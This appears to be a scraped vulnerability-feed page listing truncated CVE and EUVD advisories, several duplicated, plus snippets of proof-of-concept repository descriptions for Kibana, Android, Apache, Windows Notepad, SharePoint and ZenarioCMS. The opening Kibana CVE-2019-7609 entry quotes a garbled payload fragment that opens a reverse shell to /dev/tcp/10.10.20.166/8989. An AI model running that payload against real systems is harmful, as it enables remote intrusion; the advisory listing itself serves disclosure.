kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Click Canvas to get a shell...

CVE-2026-84545

A use after free vulnerability exists in macOS due to insufficient memory management. This flaw could allow an application with App Sandbox restrictions to escape the sandbox and execute code with root privileges . The issue is resolved in macOS Golden Gate 27 , macOS Sequoia 15.8.2 , and macOS T...

CVE-2026-112427

An authentication issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27.2. A remote attacker may be able to cause arbitrary code execution...

CVE-2026-112427

An authentication issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27.2. A remote attacker may be able to cause arbitrary code execution...

EUVD-2026-110186

An authentication issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27.2. A remote attacker may be able to cause arbitrary code execution...

CVE-2026-112427

An authentication issue in macOS Golden Gate was identified, which could allow a remote attacker to achieve arbitrary code execution . The vulnerability stems from improper state management. The issue is addressed in macOS Golden Gate 27.2 . No specific exploit information or in-the-wild exploita...

CVE-2026-112688

A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. Parsing a file may lead to an unexpected app termination or arbitrary code execution...

EUVD-2026-110182

A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. Parsing a file may lead to an unexpected app termination or arbitrary code execution...

CVE-2026-112688

A memory corruption issue exists in several Apple products, including iOS , iPadOS , and macOS (specifically macOS Golden Gate 27.2, Sequoia 15.8.2, and Tahoe 26.7.2). The root cause is related to inadequate memory handling during file parsing , which could lead to unexpected app termination or a...

PoCForCVE-2015-1528

This PoC is divided into three Parts, the folder mediaserver help to inject code into mediaserver from a normal application. the folder surfaceflinger help to inject code to surfaceflinger after you got mediaserver permission. the folder systemserver help to inject code to systemserver after you...

CVE-2026-112626

A use-after-free vulnerability exists in Apple software, which was addressed through improved memory management. The issue can be triggered by processing maliciously crafted web content , potentially leading to arbitrary code execution . Affected products include Safari 27.2 , iOS 26.7.2/27.2 , i...

CVE-2026-112626

A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing maliciously crafted web content may lead to arbitrary code...

EUVD-2026-110177

A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing maliciously crafted web content may lead to arbitrary code...

CVE-2026-112626

A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 27.2, iOS 26.7.2 and iPadOS 26.7.2, iOS 27.2 and iPadOS 27.2, macOS Golden Gate 27.2, tvOS 27.2, visionOS 27.2, watchOS 27.2. Processing maliciously crafted web content may lead to arbitrary code...

CVE-2021-41773_42013

CVE-2021-41773 and CVE-2021-42013 Lab Setup Setup $ git clone https://github.com/vulf/CVE-2021-4177342013 $ cd CVE-2021-4177342013 cd to the directory of your choice $ docker build -t vulnapache . $ docker run -d vulnapache NOTE: The httpd.conf files are configured to be vulnerable to RCE by...

CVE-2026-20841

CVE-2026-20841 PoC PoC of the "Windows Notepad RCE" vulnerability. Disclaimers 1. I am NOT the one who discovered this vulnerability. Props to the original authors listed on the official disclosure page. I just recreated the PoC according to the description. 2. I personally don't think this...

EUVD-2026-110154

The issue was addressed with improved memory handling. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8.2, macOS Tahoe 26.7.2. An attacker with memory write capability may be able to bypass pointer authentication codes and run arbitrary code...

CVE-2026-86958

This vulnerability affects macOS systems and involves an issue addressed through improved memory handling . An attacker possessing memory write capability may be able to bypass pointer authentication codes and execute arbitrary code . The issue is resolved in macOS Golden Gate 27 , macOS Sequoia ...

mssharepoint-scanner

MS SharePoint Scanner A single-file, dependency-free defensive tool for Microsoft SharePoint that combines service discovery single or bulk with CVE assessment for two critical on-premises vulnerabilities: CVE-2026-55040 Critical 9.1 — JWT token authentication bypass CVE-2026-63520 High 8.1 —...

CVE-2023-44769_ZenarioCMS--Reflected-XSS---Alias

ZenarioCMS Reflected XSS v.9.4.59197 Author: Sergio Description: Cross Site Scripting vulnerability in ZenarioCMS v.9.4.59197 allows a local attacker to execute arbitrary code via a crafted script to the Spare aliases from Alias. Attack Vectors: Scripting a vulnerability in the sanitization of th...